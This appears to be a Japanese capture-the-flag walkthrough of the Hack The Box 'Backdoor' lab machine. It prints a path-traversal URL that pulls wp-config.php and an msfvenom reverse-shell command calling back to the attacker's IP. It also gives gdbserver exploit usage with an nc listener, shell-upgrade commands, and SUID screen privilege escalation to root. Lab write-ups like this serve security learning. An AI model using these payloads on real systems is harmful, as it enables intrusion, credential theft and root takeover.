0x01 前書き#
ターゲットの IP アドレス:10.10.11.125。
自分の IP アドレス:10.10.16.21、mac m1。
0x02 シンプルな情報収集#
fscan ポートスキャンでは 22 番と 80 番ポートしか見つからず、nmap スキャンで 1337 番ポートも見つかりましたが、このポートの目的は不明です。
nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.125
http://10.10.11.125/ にアクセスすると、WordPress のウェブサイトが表示されます。WordPress のバージョンは 5.8.1 で、バックエンドのログインアドレスは http://backdoor.htb/wp-login.php です。
wpsan のスキャン結果には有用な情報はありませんでした。
WordPress の wp-content ディレクトリの下にはプラグインディレクトリがあり、http://10.10.11.125/wp-content/plugins/ にアクセスすると、php ファイルと eboo-download ディレクトリが表示されます。hello.php はトロイの木馬ファイルだと思いましたが、分析した結果、トロイの木馬ではなく、plugins ディレクトリに存在する ebook-download は readme.txt を確認した結果、プラグインであることが確認されました。
0x03 脆弱性の利用#
https://www.exploit-db.com/ ウェブサイトで "exp" を検索すると、ディレクトリトラバーサルの脆弱性が見つかります。
以下は PoC です:
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
wp-config ファイルをダウンロードします。
http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
このファイルにはデータベースのユーザー名とパスワードが保存されていますが、WordPress のバックエンドにログインしようとしてもログインできません。
ここまでのところでアイデアがありません。wp を見てみると、1337 番ポート上のサービスを利用できることがわかりました。直接 RCE(リモートコード実行)が可能です。1337 番ポートでは gdbserver サービスが実行されており、gdbserver の侵入については次のリンクを参考にしてください:https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver、gdbserver の利用スクリプトの URL は次のとおりです:https://www.exploit-db.com/exploits/50539。
脆弱性の利用手順:
- まず、exp をローカルにダウンロードします。
- msfvenom を使用してシェルコードを生成します。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.21 LPORT=1234 PrependFork=true -o rev.bin
- ローカルでリッスンします。
nc -lvp 1234
- exp を実行します。
python3 gdbserver_exp.py 10.10.11.125:1337 rev.bin
対話型シェルにアップグレードします。
python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color
また、ターゲットサーバーで実行されているサービスを探知する別の方法は、/proc/pid/cmdline ファイルを利用する方法です。/proc ディレクトリの直下には、数字で名前が付けられたディレクトリがあり、それぞれのディレクトリ名はプロセスの PID を表します。
Burp Suite を使用して PID を繰り返し処理し、ターゲットサーバーで実行されているサービスを列挙します。
0x04 昇格#
root ユーザーで実行され、suid が設定されているファイルを検索します。/usr/bin/screen というファイルが suid が設定されていることがわかりました。
find / -perm -4000 -type f 2>/dev/null
screen -x root/root
0x05 まとめ#
- 任意のファイル読み取りの脆弱性を利用して、ターゲットサーバーで実行されているサービスや screen の昇格などの知識を学びました。
参考:
https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver
https://zhuanlan.zhihu.com/p/437147174